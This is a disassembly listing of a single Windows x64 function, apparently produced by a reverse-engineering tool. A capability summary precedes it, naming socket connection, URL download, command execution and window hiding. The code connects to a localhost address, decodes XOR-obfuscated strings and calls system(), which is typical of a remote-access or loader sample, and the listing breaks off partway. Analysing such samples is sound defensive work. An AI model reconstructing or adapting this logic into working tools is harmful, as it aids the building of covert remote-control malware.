Function at 0x1400451b0
Capabilities:
Accept command line arguments
Connect socket
Convert ip address from string
Create process on windows
Create thread
Download url
Execute command
Hide graphical window
Initialize winsock library
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x50a0]
mov eax, 0x51a0
call fcn.1400abcb0
sub rsp, rax
mov rax, qword [0x1400d8080]
xor rax, rsp
mov qword [rbp + 0x5090], rax
xor r15d, r15d
lea ecx, [r15 + 0x18]
call fcn.1400ab060
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], r15
lea r8d, [r15 + 0xa]
lea rdx, str.config.cfg
lea rcx, [rbp + 0x70]
call fcn.1400024b0
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140045265
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045260
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045260
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ab174
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r14, rax
mov ecx, 0x60
call fcn.1400ab060
mov rbx, rax
mov qword [rbp - 0x10], rax
mov qword [rax + 8], 0x12345678
lea rcx, [rax + 0x10]
mov dword [rcx], r15d
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], r15
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
movups xmmword [rcx + 0x28], xmm0
movups xmmword [rcx + 0x38], xmm0
mov qword [rcx + 0x48], r15
mov edi, 2
mov edx, edi
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
mov ecx, 0x202
lea rdx, [rbp + 0x560]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400452ec
lea r9d, [rdi + 0x2e]
xor r8d, r8d
lea rdx, str.error_401
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [rdi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx], rax
lea rcx, [rbp - 0x20]
call fcn.140037360
movabs rcx, 0x7fffffffc46535ff
mov rax, qword [rbp - 0x20]
cmp rax, rcx
je 0x140045329
setl cl
test cl, cl
je 0x140045329
add rax, 0x3b9aca00
jmp 0x140045333
movabs rax, 0x7fffffffffffffff
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x20]
call fcn.14003b740
mov word [rbp - 0x40], di
mov ecx, 0x1a0a
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x3e], ax
lea r8, [rbp - 0x3c]
lea rdx, str.127.0.0.1
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
je 0x14004538f
mov r9d, Ordinal_50
xor r8d, r8d
lea rdx, str.error_405
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x40]
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400453c9
lea r9d, [rax + 0x31]
xor r8d, r8d
lea rdx, str.error_402
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [0x14015dbb8], rbx
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1400c6fd0]
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov ecx, 0x174
mov eax, dword [rcx + rbx]
mov edi, 0x148
test al, 1
jne 0x140045435
or eax, 1
mov dword [rcx + rbx], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x10], 1
lea rcx, [rax + 0xf]
lea rdx, [rbp - 0x41]
cmp rax, rdx
ja 0x140045425
lea rdx, [rbp - 0x50]
cmp rcx, rdx
jb 0x140045425
movups xmmword [rax], xmm0
jmp 0x140045428
movups xmmword [rax], xmm0
lea rcx, [0x1400af010]
call fcn.1400ab804
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x10], 0
je 0x140045480
xor byte [rdx], 0x51
xor byte [rdx + 1], 0xb
xor byte [rdx + 2], 0xd5
xor byte [rdx + 3], 0x9f
not byte [rdx + 4]
xor byte [rdx + 5], 0x5f
xor byte [rdx + 6], 0x25
xor byte [rdx + 7], 0x29
xor byte [rdx + 8], 0x51
xor byte [rdx + 9], 0xb
xor byte [rdx + 0xa], 0xd5
xor byte [rdx + 0xb], 0x9f
not byte [rdx + 0xc]
xor byte [rdx + 0xd], 0x5f
xor byte [rdx + 0xe], 0x25
xor byte [rdx + 0xf], 0x29
mov byte [rdx + 0x10], 0
mov rcx, rsi
call fcn.140002210
lea rcx, [0x14015eff0]
call fcn.140054b30
cmp byte [0x14015f220], 0
jne 0x1400454df
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140048b90
mov rcx, rax
call fcn.140048c90
mov rdx, rax
mov rcx, rbx
call fcn.140002210
mov rcx, rax
lea rdx, [0x14015f228]
call fcn.140041600
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x1400c6bf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov ecx, 0x1a8
mov eax, dword [rcx + rbx]
mov edi, 0x1e0
test al, 1
jne 0x14004552e
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rbx + rdi + 8], 0x1995bfd
mov dword [rbx + rdi], 0xecd25bd7
mov dword [rbx + rdi + 4], 0xa753a1c0
lea rcx, [0x1400aefb0]
call fcn.1400ab804
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0xb], 0
je fcn.140045567
xor byte [rdx], 0xdd
xor byte [rdx + 1], 0x7b
xor byte [rdx + 2], 0x99
xor byte [rdx + 3], 0x89
xor byte [rdx + 4], 0xb9
xor byte [rdx + 5], 0x81
xor byte [rdx + 6], 0x6d
xor byte [rdx + 7], 0x87
xor byte [rdx + 8], 0xdd
xor byte [rdx + 9], 0x7b
xor byte [rdx + 0xa], 0x99
mov byte [rdx + 0xb], 0